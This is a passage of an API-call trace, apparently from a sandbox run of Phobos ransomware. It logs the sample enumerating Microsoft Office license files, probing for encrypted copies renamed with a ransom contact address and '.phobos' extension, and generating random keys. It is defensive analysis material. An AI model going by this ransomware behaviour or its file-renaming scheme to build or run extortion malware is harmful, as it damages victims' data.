office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.355] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.355] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.356] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10659) returned 1 [0152.356] CloseHandle (hObject=0x580) returned 1 [0152.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 0x220 [0152.356] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.356] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.357] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.357] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.358] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=21606) returned 1 [0152.358] CloseHandle (hObject=0x580) returned 1 [0152.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 0x220 [0152.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.358] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.358] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.359] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11612) returned 1 [0152.359] CloseHandle (hObject=0x580) returned 1 [0152.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0152.359] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.360] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.360] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.360] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19957) returned 1 [0152.360] CloseHandle (hObject=0x580) returned 1 [0152.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0152.360] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.361] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.361] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10651) returned 1 [0152.362] CloseHandle (hObject=0x580) returned 1 [0152.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 0x220 [0152.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.362] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.363] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=21604) returned 1 [0152.363] CloseHandle (hObject=0x580) returned 1 [0152.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 0x220 [0152.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.363] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.364] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11604) returned 1 [0152.364] CloseHandle (hObject=0x580) returned 1 [0152.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 0x220 [0152.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.365] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.365] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.365] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19949) returned 1 [0152.365] CloseHandle (hObject=0x580) returned 1 [0152.365] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 0x220 [0152.366] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.366] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.366] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.367] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11163) returned 1 [0152.367] CloseHandle (hObject=0x580) returned 1 [0152.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms")) returned 0x220 [0152.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.367] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.368] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=21727) returned 1 [0152.368] CloseHandle (hObject=0x580) returned 1 [0152.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 0x220 [0152.368] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.368] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.372] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.373] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11616) returned 1 [0152.373] CloseHandle (hObject=0x580) returned 1 [0152.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 0x220 [0152.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.373] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.374] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11167) returned 1 [0152.374] CloseHandle (hObject=0x580) returned 1 [0152.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 0x220 [0152.374] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.374] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.375] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=21728) returned 1 [0152.375] CloseHandle (hObject=0x580) returned 1 [0152.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 0x220 [0152.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.515] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.515] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.556] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11620) returned 1 [0152.556] CloseHandle (hObject=0x580) returned 1 [0152.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 0x220 [0152.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.557] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.558] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11609) returned 1 [0152.558] CloseHandle (hObject=0x580) returned 1 [0152.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0152.558] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.558] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.559] GetFileSizeEx (in: hFile=0x580, 